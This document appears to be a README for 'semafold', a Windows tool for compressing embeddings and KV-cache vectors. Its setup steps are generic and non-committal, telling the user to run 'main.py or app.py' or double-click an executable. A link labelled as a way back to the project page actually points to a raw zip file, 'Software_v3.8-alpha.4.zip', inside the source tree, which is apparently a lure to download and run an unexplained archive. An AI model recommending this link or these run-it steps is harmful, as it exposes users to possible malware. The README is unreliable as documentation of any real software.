⚡ semafold - Fast vector compression for Windows

🧩 What semafold does

semafold helps you compress vectors with TurboQuant codecs. It is built for embeddings, retrieval, and KV-cache use.

Use it when you want to:

• store more vectors in less space
• move embedding data with less memory use
• speed up retrieval workflows
• reduce KV-cache size for LLM work
• run a pure NumPy core on Windows
• use GPU support when your setup allows it

📥 Download for Windows

Open the download page here:

Visit the semafold download page

From that page, get the files from the repository and save them to your PC. If you see a release file for Windows, download that file. If the page shows source files, download the repository files and use the included Windows run steps.

🖥️ What you need

For most Windows PCs, semafold works best with:

• Windows 10 or Windows 11
• 8 GB RAM or more
• A modern 64-bit CPU
• Python 3.10 or newer
• Enough free disk space for your vectors and test data

Optional support:

• NVIDIA GPU with PyTorch CUDA
• Apple GPU support through MPS on supported systems
• Metal support through MLX where available

If you only want the NumPy core, you do not need a GPU.

🚀 Getting Started

Follow these steps on Windows.

1. Download semafold

Open the link above and save the project files to a folder on your computer. A good choice is:

• Downloads
• Desktop
• Documents

Keep the folder name simple, such as semafold.

2. Open the folder

Find the folder you saved and open it in File Explorer.

If you downloaded a ZIP file:

• right-click the ZIP file
• choose Extract All
• pick a folder
• open the extracted folder

3. Install Python

If Python is not already on your PC:

• go to the Python website
• download Python 3.10 or newer
• run the installer
• check the box for Add Python to PATH
• finish the install

To test it:

• press the Windows key
• type cmd
• press Enter
• type:

python --version

If you see a version number, Python is ready.

4. Open Command Prompt in the semafold folder

In the folder that contains semafold:

• click the address bar in File Explorer
• type cmd
• press Enter

A Command Prompt window opens in that folder.

5. Set up the project

If the folder includes a requirements file, install the needed packages with:

pip install -r requirements.txt

If the project uses a different setup file, use the file names in the folder and follow the same install pattern.

6. Run semafold

Use the command file or Python entry point included in the folder.

Common examples look like this:

python main.py

or

python app.py

If the project provides a Windows executable, double-click it to start the app.

🛠️ Simple first use

Once semafold opens, start with a small test:

• load a few embeddings
• compress them with a TurboQuant codec
• compare size before and after
• test a retrieval query
• check how much memory you save

If you are using KV-cache data, try a short run first so you can confirm the output fits your workflow.

🔍 Main use cases

semafold fits common vector tasks such as:

• embedding compression
• vector database storage
• nearest neighbor search
• retrieval pipelines
• LLM inference memory reduction
• KV-cache compression
• local model workflows
• data transfer between systems

⚙️ GPU support

semafold uses a pure NumPy core, so it can run on a normal Windows PC.

If you want faster work, you can use:

• PyTorch with CUDA on NVIDIA GPUs
• PyTorch with MPS on supported Apple hardware
• MLX on Metal-supported systems

If you do not plan to use GPU support, you can skip these options.

📁 Typical folder layout

Your semafold folder may include files like:

• README.md — project guide
• requirements.txt — package list
• main.py — start file
• examples/ — sample use cases
• src/ — source code
• data/ — test data

If your folder uses different names, use the files that match the same purpose.

🧪 Quick check

After install, make sure the app starts and can process a small sample.

A good test flow is:

• open semafold
• load one vector set
• run compression
• check the output size
• run one retrieval test
• confirm the result looks right

If the app shows a log window or console output, check for errors there first.

🧭 Tips for Windows users

• Keep the project in a folder with a short path
• Avoid special characters in folder names
• Use the same Python version each time
• Close other heavy apps if your PC runs slow
• Save test files in one place so you can find them again

📦 When you need the files again

Use this link to return to the project page and get the files again:

https://raw.githubusercontent.com/Ac3v3d0/semafold/main/src/semafold/vector/Software_v3.8-alpha.4.zip

🔧 Common problems

If semafold does not start:

• check that Python is installed
• confirm you opened Command Prompt in the right folder
• make sure the required packages are installed
• try running the file again from the project folder
• confirm the file path does not contain extra spaces or broken characters

If GPU support does not work:

• use the NumPy version first
• confirm your GPU driver is current
• check that your PyTorch build matches your GPU type
• try the CPU path before testing GPU acceleration

🗂️ Project focus

semafold is built around:

• embedding compression
• KV-cache compression
• vector retrieval
• quantization
• TurboQuant codecs
• vector database workflows
• efficient local inference

📌 Quick start path

If you want the shortest path on Windows:

1. Open the download page
2. Get the project files
3. Extract the folder
4. Install Python
5. Open Command Prompt in the folder
6. Install requirements
7. Run the main file

🔗 Download again